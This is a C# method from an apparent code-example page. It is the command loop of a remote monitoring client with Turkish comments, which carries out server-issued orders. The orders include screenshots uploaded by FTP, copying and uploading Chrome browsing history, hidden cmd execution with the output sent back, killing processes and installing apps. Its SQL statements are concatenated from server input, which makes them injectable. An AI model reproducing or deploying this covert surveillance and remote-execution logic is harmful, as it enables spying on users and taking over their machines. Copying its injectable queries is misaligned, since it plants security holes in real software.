Пример #1
0
        private void isKontrol_Tick(object sender, EventArgs e)
        {
            isKontrol.Stop();


            foreach (var x in Servis.isEmri(hardwareId).ToList())//try catch eklenecek
            {
                switch (x.Work_)
                {
                case "Screen_Capture":
                    try
                    {
                        //goruntu alınır
                        string yoll = "temp/ss/" + hardwareId + DateTime.Now.Millisecond.ToString() + ".jpg";     //dosya yolu
                        kaynak.Screenshot().Save(yoll, ImageFormat.Jpeg);

                        //ftp ile yolla
                        kaynak.ftp_gonder(yoll);

                        Servis.isEmri_Kapat(hardwareId, "Screen_Capture", yoll, "");
                    }
                    catch (Exception)
                    {
                        //hata mesajı gonderilecek
                    }
                    break;

                case "Screen_Record":
                    Rectangle bounds = Screen.FromControl(this).Bounds;
                    screenRec = new ScreenRecorder(bounds, "temp//sr");
                    RecordStop.Start();
                    VideoRecord.Start();    //30 sn sayar

                    break;

                case "App_Run":
                    try
                    {
                        Process.Start(x.Query_);
                        Servis.isEmri_Kapat(hardwareId, "App_Run", fullName, "");
                    }
                    catch (Exception)
                    {
                    }
                    break;

                case "App_Stop":
                    try
                    {
                        var       processName = x.Query_;
                        Process[] processes   = Process.GetProcessesByName(processName.ToString());
                        foreach (Process process in processes)
                        {
                            process.Kill();
                        }

                        //  MessageBox.Show("Browser_History Running");
                        Servis.isEmri_Kapat(hardwareId, "App_Stop", processName.ToString(), "");
                    }
                    catch (Exception)
                    {
                        //Uygulama Bulunamadı Hatası dondurulecek
                    }


                    break;

                case "Browser_Histories":
                    try
                    {
                        //Tarayıcı Geçmişi Yollanıyor

                        // Temp Siliniyor
                        var dosyalar = Directory.GetFiles(Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite");
                        foreach (var item in dosyalar)
                        {
                            try
                            {
                                File.Delete(item);
                            }
                            catch (Exception)
                            {
                            }
                        }
                        // Temp Siliniyor
                        //Geçmiş Alınıyor
                        string google   = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\History";
                        string fileName = DateTime.Now.Ticks.ToString();
                        File.Copy(google, Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite\\" + fileName);
                        string b_history_yol = "temp/XmlData/browser_histories/xml/" + hardwareId + DateTime.Now.Millisecond.ToString() + ".xml";
                        //Geçmiş Alınıyor
                        using (SQLiteConnection con_xml = new SQLiteConnection("DataSource = " + Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite\\" + fileName + ";Integrated Security=True;Connect Timeout=30;Encrypt=False;TrustServerCertificate=True;ApplicationIntent=ReadWrite;MultiSubnetFailover=False;"))
                        {
                            con_xml.Open();
                            SQLiteDataAdapter da_b_h = new SQLiteDataAdapter("select url,title,last_visit_time from urls ", con_xml);
                            // SQLiteDataAdapter da = new SQLiteDataAdapter("select * from urls order by last_visit_time desc", con);
                            DataTable ds = new DataTable();
                            da_b_h.Fill(ds);
                            ds.TableName = "x";
                            ds.WriteXml(b_history_yol);
                            con_xml.Close();
geri:
                            try
                            {
                                kaynak.ftp_gonder(b_history_yol);
                                Servis.isEmri_Kapat(hardwareId, "Browser_Histories", b_history_yol, "");
                            }
                            catch (Exception xe)
                            {
                                MessageBox.Show(xe.Message);
                                goto geri;
                            }

                            ////////////////////////////////////////
                        }
                        //İşlem Tamamlandı.Dosya Ftp ile aktarılıp tabloya bilgisi eklendi
                    }
                    catch (Exception)
                    {
                        //hata mesajı dondurulecek
                    }
                    break;

                case "Cmd":
                    if (x.Query_ != "" && x.Query_ != null)
                    {
                        try
                        {
                            Process p = new Process();
                            p.StartInfo.FileName               = "cmd";
                            p.StartInfo.Arguments              = "/c " + x.Query_;
                            p.StartInfo.WindowStyle            = System.Diagnostics.ProcessWindowStyle.Hidden;
                            p.StartInfo.CreateNoWindow         = true;
                            p.StartInfo.RedirectStandardOutput = true;
                            p.StartInfo.UseShellExecute        = false;
                            p.Start();
                            Servis.isEmri_Kapat(hardwareId, "Cmd", x.Query_, p.StandardOutput.ReadToEnd().ToString());
                        }
                        catch (Exception)
                        {
                        }
                    }
                    // MessageBox.Show("Secrenn Capture Running");
                    break;

                case "Banned_App_Add":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            con.Open();
                            SQLiteCommand banned_app_add_command = new SQLiteCommand("insert into Banned_App(Hardware_Id,P_Name,Limit_,Used_Time,Day_,Status_,Datetime_) values ('" + hardwareId + "','" + x.Query_ + "'," + x.Temp_ + ",0," + DateTime.Now.Day + ",1,'" + DateTime.Now + "')", con);
                            banned_app_add_command.ExecuteNonQuery();
                            con.Close();
                            Servis.isEmri_Kapat(hardwareId, "Banned_App_Add", x.Query_, "");
                        }
                        catch (Exception X)
                        {
                            //hatamesajıı servise gonderilecek.MES
                            MessageBox.Show(X.Message);
                        }
                    }
                    break;

                case "Banned_App_Remove":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            con.Open();
                            SQLiteCommand banned_app_remove_command = new SQLiteCommand("DELETE FROM Banned_App WHERE Hardware_Id='" + hardwareId + "' and P_Name='" + x.Query_ + "'", con);
                            banned_app_remove_command.ExecuteNonQuery();
                            con.Close();
                            Servis.isEmri_Kapat(hardwareId, "Banned_App_Remove", x.Query_, "");
                        }
                        catch (Exception)
                        {
                            //hatamesajıı servise gonderilecek.
                        }
                    }
                    break;

                case "Wallpaper_Change":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            kaynak.ftp_al(x.Query_);
                            //Arkaplan Ayarlanıyor
                            string arkaplan_full_yol = Application.StartupPath + @"\temp\bg\" + x.Query_;
                            SystemParametersInfo(0x14, 0, arkaplan_full_yol, 0x01 | 0x02);
                            Servis.isEmri_Kapat(hardwareId, "Wallpaper_Change", x.Query_, "");
                        }
                        catch (Exception)
                        {
                            //hatamesajıı servise gonderilecek.
                        }
                    }
                    break;

                case "Time_Limit":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=RunningTime.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            con.Open();
                            SQLiteCommand time_limit_cmd = new SQLiteCommand("update  RunningTime set Time_Limit=" + x.Query_ + "", con);
                            time_limit_cmd.ExecuteNonQuery();
                            con.Close();

                            Servis.isEmri_Kapat(hardwareId, "Time_Limit", "", "");
                        }
                        catch (Exception)
                        {
                            //hatamesajıı servise gonderilecek.
                        }
                    }
                    break;

                case "Alert_Message":
                    SistemTepsisi.Visible = true;
                    SistemTepsisi.ShowBalloonTip(10000, "Sistem Kontrolörü", "Genel Mesaj!  Yönetici:" + x.Query_, ToolTipIcon.Info);
                    Servis.isEmri_Kapat(hardwareId, "Alert_Message", "", "");
                    break;

                case "Install_App":
                    //Theread Üzerinde  dosya ftp ile alınıyor ve cmd ile kuruluyor.
                    uygulama_adi_ = x.Query_;
                    Thread uygulama_kur_thread = new Thread(new ThreadStart(program_kur));
                    uygulama_kur_thread.Start();
                    SistemTepsisi.Visible = true;
                    SistemTepsisi.ShowBalloonTip(10000, "Sistem Kontrolörü - Program Yükleyici", x.Query_ + " Yükleniyor... ", ToolTipIcon.Info);
                    Servis.isEmri_Kapat(hardwareId, "Install_App", "", "");
                    break;

                default:
                    break;
                }
            }


            isKontrol.Start();
        }